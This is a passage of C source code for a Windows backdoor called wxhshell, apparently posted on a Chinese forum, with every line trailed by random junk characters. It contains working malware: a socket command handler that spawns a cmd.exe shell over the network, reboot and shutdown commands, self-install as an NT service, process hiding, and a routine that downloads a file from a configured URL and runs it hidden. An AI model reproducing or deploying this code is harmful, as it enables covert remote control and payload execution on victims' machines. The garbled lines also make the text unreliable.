  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I" j7  
  } R6:N`S]&d[  
  else { q?0goL  
aPb!-o{  
    switch(cmd[0]) { Xif`gb6`  
  "R30oA#m  
  // 帮助 O-'T*M>  
  case '?': { u8,T>VNVw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5j}@Of1pd  
    break; 3<`h/`ku  
  } 7olA@;$  
  // 安装 DHJnz>bE  
  case 'i': { dF?pEet?2  
    if(Install()) 4@W.{|2~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K 6G n  
    else fsmH];"GD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zO\"$8q*  
    break; VI+Y4T@  
    } ePY K^D  
  // 卸载 ~ ZDdzp>  
  case 'r': { ,`Mlo  
    if(Uninstall()) b~~}(^Bg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0WPxzmY  
    else 4OIN@n*4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8'quQCx*=  
    break; iH$N HfH  
    } Uis P 8/k  
  // 显示 wxhshell 所在路径 X>B/DT  
  case 'p': { Ebk@x=E  
    char svExeFile[MAX_PATH]; pucHB<R@bL  
    strcpy(svExeFile,"\n\r"); V\xQM;  
      strcat(svExeFile,ExeFile); ?nn,RBS-  
        send(wsh,svExeFile,strlen(svExeFile),0); Pb`sn5;  
    break; #,9|Hr%  
    } bQ4 }no0  
  // 重启 a&cV@~  
  case 'b': { o. _^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); So 5{E 4[  
    if(Boot(REBOOT)) c ~C W-%wN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i'u;"ot=  
    else { a3)#tt=rA  
    closesocket(wsh); j>:T)zhyY  
    ExitThread(0); @]7\.>)  
    } ynd}w G'  
    break; L7b{H2 2  
    } @Uu\x~3y  
  // 关机 x~z 2l#ow  
  case 'd': { -|T^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NR [VGZj  
    if(Boot(SHUTDOWN)) hPH7(f|c{g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GJ$,@  
    else { g-s@m}[T  
    closesocket(wsh); t.TQ@c+,J  
    ExitThread(0); oe<Y,%u"6  
    } hh{liS% 10  
    break; d"cfSH;h  
    } WT)")0)[  
  // 获取shell >fdN`W }M  
  case 's': { O*PHo_&G  
    CmdShell(wsh); ) jvkwC  
    closesocket(wsh); RAxz+1JT  
    ExitThread(0); -I*A  `M  
    break; kr/h^e  
  } loB/w{r*x  
  // 退出 WI9.?(5q  
  case 'x': { ,jWd?-NH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X>4`{x`  
    CloseIt(wsh); 9..k/cH  
    break; a]k&$  
    } {3R ax5Ty  
  // 离开 u0e#iX  
  case 'q': { Rb0{t[IU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tvUvd(8 w  
    closesocket(wsh); }X?*o `sW  
    WSACleanup(); WWL Vy(  
    exit(1); _7<U[63  
    break; d7P @_jO6  
        } ba ?k:b  
  } vB{b/xmah  
  } ?uN(" I  
f#t^<`7  
  // 提示信息 xRUYJ=|oh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @rMW_7[y  
} 9|`@czw  
  } #j JcgR<  
YMd&+J`  
  return; &1{k^>oz  
} l1[IXw?  
("6W.i>  
// shell模块句柄 Y<+4>Eh  
int CmdShell(SOCKET sock) yd~fC:_ ]  
{ t;]egk  
STARTUPINFO si; bij?q\  
ZeroMemory(&si,sizeof(si)); s*f.` A*)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 12a #]E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (`u!/  
PROCESS_INFORMATION ProcessInfo;  R'/wOE2  
char cmdline[]="cmd"; %},gE[N!J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o;mIu#u  
  return 0; o0L#39`' g  
} sdWl5 "  
:ct+.#  
// 自身启动模式 j1 <1D@UO  
int StartFromService(void) {p 0'Lc<3n  
{ B>ZPn6?y  
typedef struct x,dv ~QU  
{ q@9 i3*q;  
  DWORD ExitStatus; mmL~`i/  
  DWORD PebBaseAddress; H~i],WD  
  DWORD AffinityMask; +a-@ !J~:  
  DWORD BasePriority; -/%jeDKp  
  ULONG UniqueProcessId; Jf$wBPg  
  ULONG InheritedFromUniqueProcessId; o }A #-   
}   PROCESS_BASIC_INFORMATION; ea0tx3'  
zIFL?8!H9{  
PROCNTQSIP NtQueryInformationProcess; N -]PK%*  
.}N^AO=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =fG8YZ(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PNgMLQI6  
ai4^NJn  
  HANDLE             hProcess; a`*WpP\+  
  PROCESS_BASIC_INFORMATION pbi; :$aW@?zAY  
%Be[DLtE"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SWb5K0YRn  
  if(NULL == hInst ) return 0; >EtP^Lu~f_  
lg >AWTW[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lM*O+k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2H[a Y%1T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =7fh1XnW  
]ECZU   
  if (!NtQueryInformationProcess) return 0; e0HP~&BRs  
%}X MhWn{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }dJ ~Iy  
  if(!hProcess) return 0; 8 -;ZPhN&  
z|*6fFE   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L0b] ^_ tI  
}27Vh0v  
  CloseHandle(hProcess); %E"/]!}3  
"NH+qQhs  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7RE6y(V1  
if(hProcess==NULL) return 0; PV6 *-[  
J.2]km  
HMODULE hMod; ZHlin#"  
char procName[255]; [V, ;X  
unsigned long cbNeeded; :s '"u]  
(B,t 1+%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *u'`XRJU/  
dY@Tt&k8E  
  CloseHandle(hProcess); ]wpYxos  
+A?+G  
if(strstr(procName,"services")) return 1; // 以服务启动 Q 02??W  
$Wzv$4;  
  return 0; // 注册表启动 [KI`e  
} Ko|xEz=  
OW}j4-~wL  
// 主模块 zl 0^EltiU  
int StartWxhshell(LPSTR lpCmdLine) ;n{j,HB  
{ w9<FX>@  
  SOCKET wsl; f^sb0nU  
BOOL val=TRUE; l=~9 9mE  
  int port=0; F>kn:I"X)  
  struct sockaddr_in door; +1jqCW  
%GCd?cFF  
  if(wscfg.ws_autoins) Install(); D.R|HqZ  
8sF0]J[g{  
port=atoi(lpCmdLine); ;To+,`?E;q  
.N5R?fmD  
if(port<=0) port=wscfg.ws_port; rbun5&RCyW  
*2 $m>N  
  WSADATA data; #'Y6UGJ\n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LY!3u0PnlT  
; 9&.QR(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y_3YO 2K]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); | ,l=v`/  
  door.sin_family = AF_INET; [-Tt11  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %802H%+  
  door.sin_port = htons(port); H&=4y) /.  
h9w^7MbO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wQrPS  
closesocket(wsl); o p5^9`"  
return 1; DD6`k*RIk.  
} us,,W(q  
<T.#A8c  
  if(listen(wsl,2) == INVALID_SOCKET) { C\ 2 >7  
closesocket(wsl); UFAMbI  
return 1; hPi :31-0  
} P}WhE  
  Wxhshell(wsl); X`v79`g_  
  WSACleanup(); FlA\Ad;v  
MN M>  
return 0; b, **$  
CE7pg&dJ)i  
} 5A]LNA4i  
`MYKXBM  
// 以NT服务方式启动 `Y({#U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ysc|kxLb  
{ O{cGk: y  
DWORD   status = 0; g yH7((#i  
  DWORD   specificError = 0xfffffff; sEJ;t0.LX  
-anFt+f-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dYew 7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (zro7gKked  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?r'TH/>  
  serviceStatus.dwWin32ExitCode     = 0; (VXx G/E3  
  serviceStatus.dwServiceSpecificExitCode = 0; ];{l$-$$  
  serviceStatus.dwCheckPoint       = 0; O$umu_  
  serviceStatus.dwWaitHint       = 0; v6DxxE2n  
)"c]FI[}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L1!hF3G  
  if (hServiceStatusHandle==0) return; a. `JS  
GKsL~;8"  
status = GetLastError(); )bCG]OM7<  
  if (status!=NO_ERROR) Rw ao5l=x  
{ cM<hG:4%wX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0@e}hv;  
    serviceStatus.dwCheckPoint       = 0; {Fp`l\,  
    serviceStatus.dwWaitHint       = 0; s8yTK2v2\  
    serviceStatus.dwWin32ExitCode     = status; }!yD^:[ 5  
    serviceStatus.dwServiceSpecificExitCode = specificError; yc%E$g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !%RJC,X  
    return; <.7I8B7  
  } #nf%ojh  
QOh w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LY88;*:S  
  serviceStatus.dwCheckPoint       = 0; e<O;pM:  
  serviceStatus.dwWaitHint       = 0; Fb{`a[&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >upXt?  
} kSDa\l!W]  
hKzBq*cV  
// 处理NT服务事件,比如:启动、停止 _Dcc<-.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sg6w7fp>  
{ oA3W {  
switch(fdwControl) E_![`9i  
{ %L\{kUam  
case SERVICE_CONTROL_STOP: lgjoF_D  
  serviceStatus.dwWin32ExitCode = 0; M\?uDC9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b6WC @j`*T  
  serviceStatus.dwCheckPoint   = 0; 6|9g4@Hy  
  serviceStatus.dwWaitHint     = 0; 3e!Yu.q:  
  { &DbGyV8d"|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0q>NE <L  
  } $kD`$L@U  
  return; dj y:  
case SERVICE_CONTROL_PAUSE: leb^,1/D6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zmL~]! ~&  
  break;  fBWJ%W  
case SERVICE_CONTROL_CONTINUE: 5Du>-.r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K7[AiU_I  
  break; y5AXL5  
case SERVICE_CONTROL_INTERROGATE: +%le/Pg@  
  break; X~)V)'R  
}; TH(Lzrbg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ky '3z"  
} THbtu*El  
32bkouq  
// 标准应用程序主函数 Gkodk[VuLs  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pT ocqJ22  
{ ;(Ajf.i  
`3sy>GU?  
// 获取操作系统版本 [nN\{"~O  
OsIsNt=GetOsVer(); \Sq"3_m4T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r_V2 J{B  
ZXsY-5$#d-  
  // 从命令行安装 JW%/^'  
  if(strpbrk(lpCmdLine,"iI")) Install(); 94'k 7_q  
)S wG+k,  
  // 下载执行文件 RP|>&I  
if(wscfg.ws_downexe) { /:Z~"Q*r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _8NEwwhc  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;1R?9JN"  
} FUzMc1zy|  
6Bq~\b^  
if(!OsIsNt) { l#5~ t|\  
// 如果时win9x,隐藏进程并且设置为注册表启动 DQ n`@  
HideProc(); )ZgER[  
StartWxhshell(lpCmdLine); x8pbO[_|  
} S`W'G&bCj  
else }W__ffH  
  if(StartFromService()) J2oWssw"  
  // 以服务方式启动 dY4k9p8  
  StartServiceCtrlDispatcher(DispatchTable); iBtjd`V*  
else +C'TW^  
  // 普通方式启动 >TlW]st  
  StartWxhshell(lpCmdLine); bQ^DX `o6P  
!0!U01SWa  
return 0; /.| A  
}
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只看该作者 1 发表于: 2006-10-10
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